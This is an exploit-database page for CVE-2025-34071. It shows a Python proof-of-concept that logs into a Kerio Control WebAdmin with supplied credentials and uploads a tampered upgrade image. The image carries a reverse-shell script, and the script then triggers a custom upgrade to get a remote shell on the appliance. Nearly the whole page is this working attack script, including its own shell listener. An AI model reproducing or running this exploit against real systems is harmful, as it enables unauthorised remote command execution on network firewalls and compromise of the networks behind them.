Exploit database

GH-5bd60df726b54c9159aca4904ba90b64

cppghoul/cve-2025-34071

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-34071

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files5
cppghoul/cve-2025-34071Revision a89237104d77

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

PoC.py

Python · 4,751 bytes
import socket
import psutil
from requests import *
import urllib3
import gzip
import tarfile
import io
import time
import shutil
import threading
import sys

urllib3.disable_warnings()

print(r"""
  ______     _______     ____   ___ ____  ____       _____ _  _    ___ _____ _ 
 / ___\ \   / / ____|   |___ \ / _ \___ \| ___|     |___ /| || |  / _ \___  / |
| |    \ \ / /|  _| _____ __) | | | |__) |___ \ _____ |_ \| || |_| | | | / /| |
| |___  \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__) |__   _| |_| |/ / | |
 \____|  \_/  |_____|   |_____|\___/_____|____/     |____/   |_|  \___//_/  |_|
""")
print("Author: cppghoul\n")

ips = []
for n, addrs in psutil.net_if_addrs().items():
	for a in addrs:
		if a.family == socket.AF_INET and not a.address.startswith("127") and a.address != "0.0.0.0":
			ips.append((n, a.address))

print(f"[ + ] Found {len(ips)} interfaces")
print("Choose a listener host for Reverse Shell:")
for i, (n, addr) in enumerate(ips, 1):
	print(f"{i}) {n}: {addr}")

while True:
	raw = input("> ").strip()
	if not raw.isdigit():
		continue
	x = int(raw)
	if x < 1 or x > len(ips):
		continue
	LHOST = ips[x - 1][1]
	break

while True:
	raw = input("Listener port: ").strip()
	if not raw.isdigit():
		continue
	LPORT = int(raw)
	if LPORT < 1 or LPORT > 65535:
		continue
	break

print(f"[ + ] Listener: {LHOST}:{LPORT}")

RHOST = input("Kerio Control Host: ")
RPORT = int(input("Kerio Control WebAdmin Port: "))
print(f"[ + ] Attack Host: {RHOST}:{RPORT}")

s = Session()
s.verify = False
login = input("Login: ")
password = input("Password: ")

s.post(f"https://{RHOST}:{RPORT}/admin/internal/dologin.php?hash=dashboard",
       data={"kerio_username": login, "kerio_password": password},
       verify=False)

r = s.get(f"https://{RHOST}:{RPORT}/admin/", timeout=10)

if "Kerio Control Administration" in r.text and "/admin/login" not in r.url:
	print(f"[ + ] Login successfully")
else:
	print(f"[ - ] Failed to login")
	exit(1)

TOKEN = s.cookies.get("TOKEN_CONTROL_WEBADMIN")
s.headers.update({"X-Token": TOKEN})
s.headers.update({"X-Requested-With": "XMLHttpRequest"})
print(f"[ + ] Token: {TOKEN}")

api = f"https://{RHOST}:{RPORT}/admin/api/jsonrpc/"

c = open("payload/upgrade.sh", "r").read()
c = c.replace("__LHOST__", LHOST).replace("__LPORT__", str(LPORT))
cb = c.encode()

tar = "payload/kerio-control-upgrade-9.4.5-8526-linux"
img = "payload/kerio-control-upgrade-9.4.5-8526-linux_modified.img"

with tarfile.open(tar, "a") as t:
	ti = tarfile.TarInfo(name="upgrade.sh")
	ti.size = len(cb)
	ti.mode = 0o755
	ti.mtime = int(time.time())
	t.addfile(ti, io.BytesIO(cb))

print(f"[ + ] upgrade.sh added to tar")
print(f"[ * ] Wait for file to generate...")
with open(tar, "rb") as fin, gzip.open(img, "wb") as fout:
	shutil.copyfileobj(fin, fout)

print(f"[ + ] Image built: {img}")

files = {"uploadImage": ("kerio-control-upgrade-9.4.5-8526-linux_modified.img", open(img, "rb"), "application/vnd.efi.img")}
r = s.post(f"https://{RHOST}:{RPORT}/admin/api/jsonrpc/upload/", files=files, verify=False)

data = r.json()
fid = data["result"]["fileUpload"]["id"]
print(f"[ + ] fileId: {fid}")

s.post(api, json={
	"jsonrpc": "2.0",
	"id": 1,
	"method": "UpdateChecker.uploadImage",
	"params": {"fileId": fid}
}, verify=False)
print(f"[ + ] Uploading payload...")


def rd(conn, stop):
	while not stop.is_set():
		try:
			data = conn.recv(4096)
			if not data:
				print(f"\n[ - ] Connection closed by remote.")
				stop.set()
				break
			sys.stdout.write(data.decode("utf-8", errors="ignore"))
			sys.stdout.flush()
		except socket.timeout:
			continue
		except Exception:
			stop.set()
			break


def listen(h, p):
	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
		server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
		try:
			server.bind((h, p))
			server.listen(1)
			print(f"[ + ] Listener is up {h}:{p}")
			print(f"[ * ] Waiting for connection...")
			print(f"[ * ] Type 'exit' to quit")

			conn, addr = server.accept()
			print(f"[ + ] Recieved connection! {addr}")

			stop = threading.Event()
			th = threading.Thread(target=rd, args=(conn, stop), daemon=True)
			th.start()

			while not stop.is_set():
				try:
					cmd = input()
				except EOFError:
					break

				if cmd.strip().lower() == "exit":
					print(f"[ * ] Session is closed by user.")
					stop.set()
					conn.close()
					return

				conn.sendall((cmd + "\n").encode("utf-8"))
				time.sleep(0.4)

		except Exception as e:
			print(f"\n[ - ] Listener error: {e}")


t = threading.Thread(target=listen, args=(LHOST, LPORT))
t.daemon = True
t.start()

time.sleep(1)

s.post(api, json={
	"jsonrpc": "2.0",
	"id": 1,
	"method": "UpdateChecker.performCustomUpgrade",
	"params": {"id": fid}
}, verify=False)

t.join()